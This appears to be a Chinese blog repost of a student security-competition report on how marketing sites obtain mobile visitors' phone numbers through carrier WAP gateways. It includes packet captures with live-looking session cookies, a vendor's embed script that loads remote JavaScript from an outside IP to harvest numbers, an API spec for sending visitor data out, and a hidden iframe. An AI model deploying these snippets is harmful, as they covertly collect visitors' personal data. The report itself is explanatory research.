前一段時間「跨界」參加了學校的信息安全競賽,沒想到居然還拿了三等獎,把研究課題報告分享出來,仍是有一些值得學習的地方。(實在太忙,一些圖片就不轉過來了)javascript
現象:目前,信息安全備受關注。但近來許多營銷網站(其中以醫療營銷網站爲主)可精準得到移動端訪客信息(如手機號碼、QQ號碼等)從而進行營銷。此現象代表在使用移動設備訪問網站(包括不限於WAP網頁)時存在信息泄漏的安全隱患,對此咱們展開研究,探究網站抓取移動端訪客信息的原理。如下將闡述探究過程。php
首先,咱們經過搜索引擎搜索可提供抓取網站訪客信息的相關服務提供商。在百度 中搜索關鍵字「獲取訪客手機」等關鍵字可查詢到多個服務提供商,均使用百度競價排名服務。如圖:html
部分產品介紹如圖:java
相關介紹相似,不做過多截圖。訪客信息獲取服務從百元至千元/月不等。web
咱們經過嘗試不一樣的軟件工具對訪客關鍵信息進行抓取分析,以探究信息泄露所處的通訊環節。後端
首先,使用fiddler對數據報文進行抓取。api
(1)對PC端進行抓包瀏覽器
Headers內容以下:安全
GET http://www.baidu.com/?tn=98050039_dg&ch=1&ref=360 HTTP/1.1 Host: www.baidu.com Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 UBrowser/5.7.16400.12 Safari/537.36 Referer: http://www.baidu.com/?tn=98050039_dg&ch=1 Accept-Encoding: gzip, deflate Accept-Language : zh-CN,zh;q=0.8 Cookie: BIDUPSID=016BE1E811953B967E8FD7844E50E63E; PSTM=1478172121; BAIDUID=AC446DF7C75C578ADEF5B2073A4B7022:FG=1; BDUSS=DFvSm92eHVwM01hVXRjRGhwemk5fnFNZWZabGd2YTFsQnd1WDhHcFlVbGJ5VUpZSVFBQUFBJCQAAAAAAAAAAAEAAACMgx4CYTE5OTYxMTA5ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFs8G1hbPBtYa; andr=7
可抓取到地址、客戶端操做系統、瀏覽器版本等系統信息。服務器
(2)將裝有fiddler的PC與Android手機鏈接至同一無線路由器,並將手機代理調爲PC端ip地址,經過PC端口聯網,用PC端fiddler對手機進行抓包。
Headers內容以下:
GET http://m5.baidu.com/favicon.ico HTTP/1.1Host: m5.baidu.comProxy-Connection: keep-aliveAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,en-US;q=0.8Cookie: BAIDUID=B627F0F8D61A16BC166E54842394746F:FG=1; BAIDU_WISE_UID=wapp_1480052601504_789; plus_cv=1::m:d48b9a53; plus_lsv=3cda332116465cc3; H_WISE_SIDS=106472_100807_100272_102479_108373_109785_109549_106262_110629_110643_110710_107800_111123_110606_112108_110718_111967_110693_110498_110011_111549_112106_111928_109588_110655_107317_110031_111216_110085_111245; BDSVRTM=166User-Agent: Mozilla/5.0 (Linux; U; Android 6.0.1; zh-CN; M I 5 Build/MXB48T) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.2.5.884 Mobile Safari/537.36
只能抓取到手機的版本信息,沒法抓取到手機號等關鍵信息。
(3)對阿里雲Windows Sever 2008服務器進行抓包,用手機鏈接服務器80端口(訪問網站)
沒法抓取手機號等信息。
fiddler抓取訪客手機號等關鍵信息失敗,說明手機號碼等關鍵信息的泄漏並非在應用層泄漏。推測在網絡層發生。
對網絡層發生信息泄漏推測途徑可能有如下兩種:
一個是運營商強行在http請求頭裏加入手機號,key名爲x-up-calling-line-id,也有多是x-up-subno、network-info等,value這裏返回的就是手機號碼。
還有一種是運營商私自給廣告平臺開後端接口,這種狀況下即使是請求裏不帶手機號,也能夠獲取到你的手機號,這種是目前比較常見的途徑。
咱們還在網上找到能夠直接獲取訪客手機號碼的網頁:
http://112.124.4.229:808/member/my.php?mid=21&status=4
經過手機加載一段他們提供的js代碼後,便可獲取到訪問者的移動手機號碼,獲取率很高。
經過抓包分析能夠發現:
首先,抓包要用谷歌瀏覽器假裝成手機訪問,否則抓包不到,由於網站屏蔽了pc端。
當用戶訪問手機網站後,會加載一段js,js請求訪問IP:
獲取到手機號以後,會把手機號經過base64加密返回給 js請求的參數q的值,如上面的:
參數corp 的值就是手機信息base64位加密後的,解密後能夠發現內容爲:
null,Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53
若是是手機訪問網站的話, null 就會是你的手機號,由於實驗是經過電腦訪問的,因此沒有手機號
(1)頁面腳本
經過這個ip地址受權域名獲取訪問網站的手機號113.106.95.36:8081
頁面添加代碼:
1 <script type="text/javascript"> 2 var bhid = 1; 3 var str; 4 str = '<scr' + 'ipt type="text/javascript" src="http://113.106.95.36:8081/mm.js'; 5 str = str + '"></scr' + 'ipt>'; 6 document.write(str); 7 </script>
bhid是客戶本身設置的參數值,建議數字和英文組成,後臺接口能夠獲取這個參數值,主要給用戶本身區分腳本投放網站的類型。
(2)客戶本身開發一個URL地址接口,以便我方調用客戶的接口發送數據,GET方式發送,GET的參數值如下:
string Mobile //手機號碼 string bhid //客戶本身設置的參數值 string locationurl //當前訪問的URL地址 string title //當前頁面標題 string lasturl //上頁面URL string ua //機型 string ip //IP地址
以上參數獲取後都須要URL解碼
綜上所述,WAP的訪問方式是壓縮訪問方式,這裏方式是手機先發出一個訪問的請求,由運營商的WAP服務器中轉站接受到你的請求後,由WAP服務器排除制定請求去訪問你的網站,而後在獲取數據,經由WAP中轉服務區進行數據壓縮後回傳到你的手機上。
凡是使用WAP上網,實際上是先訪問的WAP中轉服務器,而不是直接訪問的網站,在這個過程當中,WAP中轉服務器會要求對你的手機請求進行處理和解析,這裏面就包含了你的手機號碼和時間軸。因此,在這個過程當中大部分訪客的手機號碼就能夠抓取出來了。
首先無論是中轉服務器仍是線路,都是由網絡運營商控制的,也就是說普通企業基本沒有可能獲取的到。各大手機運營商都有本身的外包公司,幫忙處理數據,而這些數據和通道是能夠從外包公司進行購買的。
如下列代碼爲例:
<iframe src=「http://112.122.35.6.xxx/?id=test&c=2」 width="0" height="0" scrolling="no" frameborder="0"></iframe>
(實例代碼,已經無效)
http開頭就是數據端口,抓取信息也是從這裏出來的。